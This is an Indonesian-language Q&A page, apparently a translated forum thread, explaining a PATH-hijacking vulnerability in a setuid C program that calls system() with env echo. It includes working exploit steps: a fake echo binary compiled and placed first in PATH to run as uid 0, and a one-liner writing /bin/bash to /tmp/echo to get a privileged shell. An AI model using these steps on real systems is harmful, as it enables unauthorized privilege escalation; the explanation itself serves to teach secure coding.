GNU/Linux >> Belajar Linux >  >> Linux

Apa yang rentan tentang kode C ini?

Anda dapat mengganti PATH variabel untuk menunjuk ke direktori dengan versi khusus echo Anda dan sejak echo dieksekusi menggunakan env , tidak diperlakukan sebagai built-in.

Ini merupakan kerentanan hanya jika kode dijalankan sebagai pengguna istimewa.

Pada contoh di bawah, file v.c berisi kode dari pertanyaan.

$ cat echo.c
#include <stdio.h>
#include <unistd.h>

int main() {
  printf("Code run as uid=%d\n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ sudo chown root v
$ sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x  1 user     group  8752 Nov 29 01:55 echo
-rw-r--r--  1 user     group    99 Nov 29 01:54 echo.c
-rwsr-sr-x  1 root     group  8896 Nov 29 01:55 v
-rw-r--r--  1 user     group   279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$ 

Perhatikan bahwa pengaturan ID pengguna asli, ID pengguna efektif dan set-user-ID tersimpan dengan panggilan ke setresuid() sebelum panggilan ke system() dalam kode rentan yang diposting dalam pertanyaan memungkinkan seseorang untuk mengeksploitasi kerentanan bahkan ketika hanya ID pengguna yang efektif yang diatur ke ID pengguna yang memiliki hak istimewa dan ID pengguna yang sebenarnya tetap tidak memiliki hak istimewa (seperti misalnya kasus ketika mengandalkan bit set-user-ID pada file seperti di atas). Tanpa panggilan ke setresuid() shell dijalankan oleh system() akan mengatur ulang ID pengguna yang efektif kembali ke ID pengguna yang sebenarnya membuat eksploit menjadi tidak efektif. Namun, jika kode rentan dijalankan dengan ID pengguna asli dari pengguna istimewa, system() panggilan saja sudah cukup. Mengutip sh halaman manual:

Jika shell dimulai dengan id pengguna (grup) efektif yang tidak sama dengan id pengguna (grup) sebenarnya, dan opsi -p tidak disediakan, tidak ada file startup yang dibaca, fungsi shell tidak diwariskan dari lingkungan, variabel SHELLOPTS , jika muncul di lingkungan, diabaikan, dan userid yang efektif disetel ke id pengguna yang sebenarnya. Jika opsi -p disediakan saat pemanggilan, perilaku startup sama, tetapi id pengguna yang efektif tidak disetel ulang.

Perhatikan juga bahwa setresuid() tidak portabel, tetapi setuid() atau setreuid() juga dapat digunakan untuk efek yang sama.


sebenarnya pada panggilan fungsi sistem Anda dapat mengacaukan echo command.misalnya jika Anda menjalankan kode berikut :

echo "/bin/bash" > /tmp/echo
chmod 777 /tmp/echo && export PATH=/tmp:$PATH

Anda akan mendapatkan shell dengan izin pemilik file


Linux
  1. Apa itu pengguna Linux?

  2. Apa arti peringatan ini?

  3. Apa :-!! dalam kode C?

  1. Bagaimana jika [[ $? -ne 0 ]]; berarti dalam .ksh

  2. Apa perangkat dm-0 ini?

  3. Apa yang dilakukan skrip sh ini jika dijalankan?

  1. Manipulasi fungsi Bash dijelaskan

  2. Apa folder ini /run/user/1000?

  3. Perintah untuk mempelajari tentang sistem yang tidak dikenal